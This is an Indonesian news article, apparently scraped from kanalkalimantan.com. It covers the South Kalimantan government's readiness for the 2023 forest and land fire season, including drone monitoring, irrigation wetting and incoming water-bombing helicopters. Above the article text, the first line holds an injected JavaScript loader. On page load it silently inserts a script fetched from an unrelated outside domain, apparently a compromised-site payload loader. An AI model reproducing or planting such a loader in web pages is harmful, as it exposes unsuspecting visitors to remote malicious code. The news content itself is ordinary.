(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Ancaman kebakaran hutan dan lahan (Karhutla) menjadi fokus Pemerintah Provinsi Kalimantan Selatan (Kalsel) menjelang puncak musim kemarau pada pertengahan Mei mendatang.
Menurut Kasubbid Kesiapsiagaan pada BPBD Kalsel Ariansyah, hingga saat ini di wilayah Kalsel belum terpantau memiliki titik api yang menimbulkan karhutla.
“Alhamdulillah situasi saat ini termonitor belum ada titik api di wilayah kita, dimana jika kita melihat terjadinya cuaca ekstrem yakni suhu panas yang tinggi di beberapa bagian, namun kita pantau juga masih ada hujan,” ungkap, Ariansyah usai Apel di Martapura, Rabu (3/5/2023) siang.
Meski begitu, sejumlah wilayah menjadi prioritas pihaknya untuk menyiagakan penanganan karhutla ini. Salah satunya lahan hutan luas di area sekitar Bandara Syamsuddin Noor Banjarbaru.
Baca juga: BPBD Banjar Siagakan 4 Regu Hadapi Ancaman Karhutla
“Ini tentu bagian dari kondisi alam yang cukup membantu dimana ada uji coba pembasahan lahan, dengan membuka pintu air irigasi, sehingga membuat Kalsel sampai saat ini situasi karhutla terkendali,” jelasnya.
Pihaknya pun akan selalu melakukan pemantauan lokasi yang potensi terjadi titik api dengan menggunakan aplikasi Bekantan, dipadukan dengan menggunakan sistem drone.
“Dengan radius terbang drone pengendali 50 kilometer kita lakukan upaya pencegahan dengan berkoordinasi dengan teman-teman terutama dari BPBD rekan TNI untuk memantau di wilayah kerjanya,” imbuhnya.
Dalam kesiagaan menghadapi karhutla ini juga, Pemprov Kalsel telah melaksanakan Apel Kesiapsiagaan Personil, Peralatan, dan Perlengkapan Penanganan Karhutla serta Peringatan Hari Kesiapsiagaan Bencana di Kalsel tahun 2023.
Apel dilaksanakan pada Rabu (3/5/2023) sore, di lapangan Pondok Pesantren Darul Hijrah Putera, Cindai Alus, Martapura dihadiri Gubernur Kalimantan Selatan H Sahbirin Noor.
Dalam kesempatan itu, Gubernur Kalsel membeberkan jika tinggal menghitung hari saja bantuan helikopter seperti Heli Water Bombing akan datang di Kalsel.
“Sungguh sangat tergantung situasi jika memerlukan akan kita tambah unit Water Bombing, tapi sebentar lagi akan datang Water Bombing dari BNPB pusat untuk memback up wilayah kita Kalsel,” ujar Gubernur Kalsel.
Baca juga: Tiga Hari Berjibaku, Basarnas Temukan Pria Terserat Banjir di Sungai Hariti Kotabaru
Senada dengan BPBD, Sahbirin mengungkapkan, area Bandara menjadi salah satu prioritas pihaknya dalam menangangi Karhutla ini.
“Wilayah kita Kalsel yang memang ada titik-titik harus dijaga sepenuhnya, terkhususnya area-area titik rawan yang berkaitan dengan transportasi udara yang sangat dibutuhkan rakyat maupun pemerintah harus kita jaga,” sebutnya.
Gubernur Kalsel turut mengimbau kepada masyarakat agar mewaspadai bencana dengan tidak takut dan gugup untuk bisa tenang dan berpikir menghadapi bencana apapun termasuk karhutla
“Status Kalsel saat ini masih aman terkendali namun kita tetap siaga semua, tapi yang jelas kita harus bergerak cepat lapor cepat dan atasi cepat, terpenting jangan gugup harus tenang agar bisa berpikir,” imbau Gubernur Kalsel. (kanalkalimantan.com/wanda)
Reporter: wanda
Editor: cell
KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More
KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Stasiun Meteorologi (Statmet) Syamsudin Noor Banjarmasin mengeluarkan imbauan mengenai potensi banjir pesisir… Read More
This website uses cookies.